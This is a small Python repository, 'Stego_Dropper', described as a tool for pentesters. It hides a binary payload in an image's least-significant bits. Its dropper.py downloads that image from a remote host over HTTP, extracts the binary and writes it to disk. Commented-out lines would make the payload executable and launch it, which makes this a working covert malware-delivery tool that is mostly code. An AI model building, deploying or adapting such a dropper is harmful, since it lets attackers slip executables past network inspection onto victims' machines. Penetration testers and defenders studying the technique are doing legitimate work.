├── README.md ├── LICENSE.txt ├── stego.py ├── LSBSteg.py └── dropper.py /README.md: -------------------------------------------------------------------------------- 1 | # Stego_Dropper 2 | A python based dropper, that uses steganography and an image over http to transfer a file. 3 | 4 | The inspiration for this tool largly comes from: 5 | http://lockboxx.blogspot.com/2015/02/python-steganographic-payload-dropper.html 6 | 7 | This tool heavily reimplements and uses: https://github.com/RobinDavid/LSB-Steganography 8 | 9 | #### Requires: 10 | - OpenCV 11 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Ahhh 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /stego.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Stego Dropper For Pentesters v0.1 3 | # Uses https://github.com/RobinDavid/LSB-Steganography 4 | 5 | from LSBSteg import LSBSteg 6 | import cv2.cv as cv 7 | import sys 8 | import logging 9 | from optparse import OptionParser 10 | 11 | 12 | #Hide payload in image, output new stego image 13 | def hide_payload(input_img, payload, output_img): 14 | carrier = cv.LoadImage(input_img) 15 | steg = LSBSteg(carrier) 16 | steg.hideBin(payload) 17 | steg.saveImage(output_img) 18 | 19 | 20 | def main(): 21 | # Setup the command line arguments. 22 | optp = OptionParser() 23 | 24 | # Output verbosity options 25 | optp.add_option('-q', '--quiet', help='set logging to ERROR', 26 | action='store_const', dest='loglevel', 27 | const=logging.ERROR, default=logging.INFO) 28 | optp.add_option('-d', '--debug', help='set logging to DEBUG', 29 | action='store_const', dest='loglevel', 30 | const=logging.DEBUG, default=logging.INFO) 31 | optp.add_option('-v', '--verbose', help='set logging to COMM', 32 | action='store_const', dest='loglevel', 33 | const=5, default=logging.INFO) 34 | 35 | # Image and payload options 36 | optp.add_option("-i", "--image", dest="input_img", 37 | help="The image to embed a payload") 38 | optp.add_option("-p", "--payload", dest="payload", 39 | help="The payload to imbed into an image") 40 | optp.add_option("-o", "--out", dest="output_img", 41 | help="Name of the image to output, with payload embeded steganographicaly") 42 | 43 | opts, args = optp.parse_args() 44 | 45 | # Setup logging 46 | logging.basicConfig(level=opts.loglevel, 47 | format='%(levelname)-8s %(message)s') 48 | 49 | if opts.input_img is None: 50 | opts.input_img = raw_input("Image to embed a payload: ") 51 | if opts.payload is None: 52 | opts.payload = raw_input("Payload to embed in image: ") 53 | if opts.output_img is None: 54 | opts.output_img = raw_input("Name of the image to output: ") 55 | 56 | hide_payload(opts.input_img, opts.payload, opts.output_img) 57 | 58 | 59 | if __name__ == '__main__': 60 | main() 61 | -------------------------------------------------------------------------------- /LSBSteg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Stego Dropper For Pentesters v0.1 3 | # Pulled from https://github.com/RobinDavid/LSB-Steganography 4 | 5 | import cv2.cv as cv 6 | import sys 7 | 8 | class SteganographyException(Exception): 9 | pass 10 | 11 | class LSBSteg(): 12 | def __init__(self, im): 13 | self.image = im 14 | self.width = im.width 15 | self.height = im.height 16 | self.size = self.width * self.height 17 | self.nbchannels = im.channels 18 | self.maskONEValues = [1,2,4,8,16,32,64,128] 19 | #Mask used to put one ex:1->00000001, 2->00000010 .. associated with OR bitwise 20 | self.maskONE = self.maskONEValues.pop(0) #Will be used to do bitwise operations 21 | self.maskZEROValues = [254,253,251,247,239,223,191,127] 22 | #Mak used to put zero ex:254->11111110, 253->11111101 .. associated with AND bitwise 23 | self.maskZERO = self.maskZEROValues.pop(0) 24 | self.curwidth = 0 #Current width position 25 | self.curheight = 0 #Current height position 26 | self.curchan = 0 #Current channel position 27 | 28 | def saveImage(self,filename): 29 | # Save the image using the given filename 30 | cv.SaveImage(filename, self.image) 31 | 32 | def putBinaryValue(self, bits): #Put the bits in the image 33 | for c in bits: 34 | val = list(self.image[self.curwidth,self.curheight]) #Get the pixel value as a list 35 | if int(c) == 1: 36 | val[self.curchan] = int(val[self.curchan]) | self.maskONE #OR with maskONE 37 | else: 38 | val[self.curchan] = int(val[self.curchan]) & self.maskZERO #AND with maskZERO 39 | 40 | self.image[self.curwidth,self.curheight] = tuple(val) 41 | self.nextSpace() #Move "cursor" to the next space 42 | 43 | def nextSpace(self):#Move to the next slot were information can be taken or put 44 | if self.curchan == self.nbchannels-1: #Next Space is the following channel 45 | self.curchan = 0 46 | if self.curwidth == self.width-1: #Or the first channel of the next pixel of the same line 47 | self.curwidth = 0 48 | if self.curheight == self.height-1:#Or the first channel of the first pixel of the next line 49 | self.curheight = 0 50 | if self.maskONE == 128: #Mask 1000000, so the last mask 51 | raise SteganographyException, "Image filled" 52 | else: #Or instead of using the first bit start using the second and so on.. 53 | self.maskONE = self.maskONEValues.pop(0) 54 | self.maskZERO = self.maskZEROValues.pop(0) 55 | else: 56 | self.curheight +=1 57 | else: 58 | self.curwidth +=1 59 | else: 60 | self.curchan +=1 61 | 62 | def readBit(self): #Read a single bit int the image 63 | val = self.image[self.curwidth,self.curheight][self.curchan] 64 | val = int(val) & self.maskONE 65 | self.nextSpace() 66 | if val > 0: 67 | return "1" 68 | else: 69 | return "0" 70 | 71 | def readByte(self): 72 | return self.readBits(8) 73 | 74 | def readBits(self, nb): #Read the given number of bits 75 | bits = "" 76 | for i in range(nb): 77 | bits += self.readBit() 78 | return bits 79 | 80 | def byteValue(self, val): 81 | return self.binValue(val, 8) 82 | 83 | def binValue(self, val, bitsize): #Return the binary value of an int as a byte 84 | binval = bin(val)[2:] 85 | if len(binval) > bitsize: 86 | raise SteganographyException, "binary value larger than the expected size" 87 | while len(binval) < bitsize: 88 | binval = "0"+binval 89 | return binval 90 | 91 | def hideText(self, txt): 92 | l = len(txt) 93 | binl = self.binValue(l, 16) #Length coded on 2 bytes so the text size can be up to 65536 bytes long 94 | self.putBinaryValue(binl) #Put text length coded on 4 bytes 95 | for char in txt: #And put all the chars 96 | c = ord(char) 97 | self.putBinaryValue(self.byteValue(c)) 98 | 99 | def unhideText(self): 100 | ls = self.readBits(16) #Read the text size in bytes 101 | l = int(ls,2) 102 | i = 0 103 | unhideTxt = "" 104 | while i < l: #Read all bytes of the text 105 | tmp = self.readByte() #So one byte 106 | i += 1 107 | unhideTxt += chr(int(tmp,2)) #Every chars concatenated to str 108 | return unhideTxt 109 | 110 | def hideImage(self, imtohide): 111 | w = imtohide.width 112 | h = imtohide.height 113 | if self.width*self.height*self.nbchannels < w*h*imtohide.channels: 114 | raise SteganographyException, "Carrier image not big enough to hold all the datas to steganography" 115 | binw = self.binValue(w, 16) #Width coded on to byte so width up to 65536 116 | binh = self.binValue(h, 16) 117 | self.putBinaryValue(binw) #Put width 118 | self.putBinaryValue(binh) #Put height 119 | for h in range(imtohide.height): #Iterate the hole image to put every pixel values 120 | for w in range(imtohide.width): 121 | for chan in range(imtohide.channels): 122 | val = imtohide[h,w][chan] 123 | self.putBinaryValue(self.byteValue(int(val))) 124 | 125 | def unhideImage(self): 126 | width = int(self.readBits(16),2) #Read 16bits and convert it in int 127 | height = int(self.readBits(16),2) 128 | unhideimg = cv.CreateImage((width,height), 8, 3) #Create an image in which we will put all the pixels read 129 | for h in range(height): 130 | for w in range(width): 131 | for chan in range(unhideimg.channels): 132 | val = list(unhideimg[h,w]) 133 | val[chan] = int(self.readByte(),2) #Read the value 134 | unhideimg[h,w] = tuple(val) 135 | return unhideimg 136 | 137 | def hideBin(self, filename): 138 | f = open(filename,'rb') 139 | bin = f.read() 140 | l = len(bin) 141 | if self.width*self.height*self.nbchannels < l+64: 142 | raise SteganographyException, "Carrier image not big enough to hold all the datas to steganography" 143 | self.putBinaryValue(self.binValue(l, 64)) 144 | for byte in bin: 145 | self.putBinaryValue(self.byteValue(ord(byte))) 146 | 147 | def unhideBin(self): 148 | l = int(self.readBits(64),2) 149 | output = "" 150 | for i in range(l): 151 | output += chr(int(self.readByte(),2)) 152 | return output 153 | 154 | if __name__=="__main__": 155 | pass 156 | -------------------------------------------------------------------------------- /dropper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Stego Dropper For Pentesters v0.1 3 | # Heavily uses parts from https://github.com/RobinDavid/LSB-Steganography 4 | 5 | import urllib 6 | import urllib2 7 | import httplib 8 | import subprocess 9 | import sys 10 | import os 11 | import string 12 | import cv2.cv as cv 13 | import logging 14 | from optparse import OptionParser 15 | 16 | # TURN THIS ON IF YOU WANT PROXY SUPPORT 17 | PROXY_SUPPORT = "OFF" 18 | # THIS WILL BE THE PROXY URL 19 | PROXY_URL = "http://proxyinfo:80" 20 | # USERNAME FOR THE PROXY 21 | USERNAME = "username" 22 | # PASSWORD FOR THE PROXY 23 | PASSWORD = "password" 24 | 25 | class SteganographyException(Exception): 26 | pass 27 | 28 | class LSBSteg(): 29 | def __init__(self, im): 30 | self.image = im 31 | self.width = im.width 32 | self.height = im.height 33 | self.size = self.width * self.height 34 | self.nbchannels = im.channels 35 | self.maskONEValues = [1,2,4,8,16,32,64,128] 36 | #Mask used to put one ex:1->00000001, 2->00000010 .. associated with OR bitwise 37 | self.maskONE = self.maskONEValues.pop(0) #Will be used to do bitwise operations 38 | self.maskZEROValues = [254,253,251,247,239,223,191,127] 39 | #Mak used to put zero ex:254->11111110, 253->11111101 .. associated with AND bitwise 40 | self.maskZERO = self.maskZEROValues.pop(0) 41 | self.curwidth = 0 #Current width position 42 | self.curheight = 0 #Current height position 43 | self.curchan = 0 #Current channel position 44 | 45 | def saveImage(self,filename): 46 | # Save the image using the given filename 47 | cv.SaveImage(filename, self.image) 48 | 49 | def putBinaryValue(self, bits): #Put the bits in the image 50 | for c in bits: 51 | val = list(self.image[self.curwidth,self.curheight]) #Get the pixel value as a list 52 | if int(c) == 1: 53 | val[self.curchan] = int(val[self.curchan]) | self.maskONE #OR with maskONE 54 | else: 55 | val[self.curchan] = int(val[self.curchan]) & self.maskZERO #AND with maskZERO 56 | 57 | self.image[self.curwidth,self.curheight] = tuple(val) 58 | self.nextSpace() #Move "cursor" to the next space 59 | 60 | def nextSpace(self):#Move to the next slot were information can be taken or put 61 | if self.curchan == self.nbchannels-1: #Next Space is the following channel 62 | self.curchan = 0 63 | if self.curwidth == self.width-1: #Or the first channel of the next pixel of the same line 64 | self.curwidth = 0 65 | if self.curheight == self.height-1:#Or the first channel of the first pixel of the next line 66 | self.curheight = 0 67 | if self.maskONE == 128: #Mask 1000000, so the last mask 68 | raise SteganographyException, "Image filled" 69 | else: #Or instead of using the first bit start using the second and so on.. 70 | self.maskONE = self.maskONEValues.pop(0) 71 | self.maskZERO = self.maskZEROValues.pop(0) 72 | else: 73 | self.curheight +=1 74 | else: 75 | self.curwidth +=1 76 | else: 77 | self.curchan +=1 78 | 79 | def readBit(self): #Read a single bit int the image 80 | val = self.image[self.curwidth,self.curheight][self.curchan] 81 | val = int(val) & self.maskONE 82 | self.nextSpace() 83 | if val > 0: 84 | return "1" 85 | else: 86 | return "0" 87 | 88 | def readByte(self): 89 | return self.readBits(8) 90 | 91 | def readBits(self, nb): #Read the given number of bits 92 | bits = "" 93 | for i in range(nb): 94 | bits += self.readBit() 95 | return bits 96 | 97 | def byteValue(self, val): 98 | return self.binValue(val, 8) 99 | 100 | def binValue(self, val, bitsize): #Return the binary value of an int as a byte 101 | binval = bin(val)[2:] 102 | if len(binval) > bitsize: 103 | raise SteganographyException, "binary value larger than the expected size" 104 | while len(binval) < bitsize: 105 | binval = "0"+binval 106 | return binval 107 | 108 | def unhideBin(self): 109 | l = int(self.readBits(64),2) 110 | output = "" 111 | for i in range(l): 112 | output += chr(int(self.readByte(),2)) 113 | return output 114 | 115 | def drop(host, port, image, payload): 116 | # here is where we set all of our proxy settings 117 | if PROXY_SUPPORT == "ON": 118 | auth_handler = urllib2.HTTPBasicAuthHandler() 119 | auth_handler.add_password(realm='RESTRICTED ACCESS', 120 | uri=PROXY_URL, # PROXY SPECIFIED ABOVE 121 | user=USERNAME, # USERNAME SPECIFIED ABOVE 122 | passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE 123 | opener = urllib2.build_opener(auth_handler) 124 | urllib2.install_opener(opener) 125 | 126 | #Grab our file file from the web server and save it to a file 127 | req = urllib2.Request('http://%s:%s/%s' % (host,port,image)) 128 | message = urllib2.urlopen(req) 129 | localFile = open('temp.png', 'w') 130 | localFile.write(message.read()) 131 | localFile.close() 132 | 133 | #Destego binary 134 | inp = cv.LoadImage('temp.png') 135 | steg = LSBSteg(inp) 136 | bin = steg.unhideBin() 137 | f = open(payload,"wb") #Write the binary back to a file 138 | f.write(bin) 139 | f.close() 140 | os.system('rm temp.png') 141 | 142 | 143 | def main(): 144 | # Setup the command line arguments. 145 | optp = OptionParser() 146 | 147 | # Output verbosity options 148 | optp.add_option('-q', '--quiet', help='set logging to ERROR', 149 | action='store_const', dest='loglevel', 150 | const=logging.ERROR, default=logging.INFO) 151 | optp.add_option('-d', '--debug', help='set logging to DEBUG', 152 | action='store_const', dest='loglevel', 153 | const=logging.DEBUG, default=logging.INFO) 154 | optp.add_option('-v', '--verbose', help='set logging to COMM', 155 | action='store_const', dest='loglevel', 156 | const=5, default=logging.INFO) 157 | 158 | # Image and payload options 159 | optp.add_option("-s", "--host", dest="host", 160 | help="The server to connect to") 161 | optp.add_option("-p", "--port", dest="port", 162 | help="The port listening on the server") 163 | optp.add_option("-i", "--image", dest="image", 164 | help="Name of the image to download") 165 | optp.add_option("-o", "--out", dest="payload", 166 | help="Name of the payload to output") 167 | 168 | opts, args = optp.parse_args() 169 | 170 | # Setup logging 171 | logging.basicConfig(level=opts.loglevel, 172 | format='%(levelname)-8s %(message)s') 173 | 174 | if opts.host is None: 175 | opts.host = raw_input("Host: ") 176 | if opts.port is None: 177 | opts.port = raw_input("Port: ") 178 | if opts.image is None: 179 | opts.image = raw_input("Image path: ") 180 | if opts.payload is None: 181 | opts.payload = raw_input("Name of the output file: ") 182 | 183 | drop(opts.host, opts.port, opts.image, opts.payload) 184 | 185 | #set executable 186 | #os.chmod(opts.payload, 0777 ) 187 | #Launch the executable 188 | #os.system( './'+payload ) 189 | 190 | 191 | if __name__ == '__main__': 192 | main() 193 | --------------------------------------------------------------------------------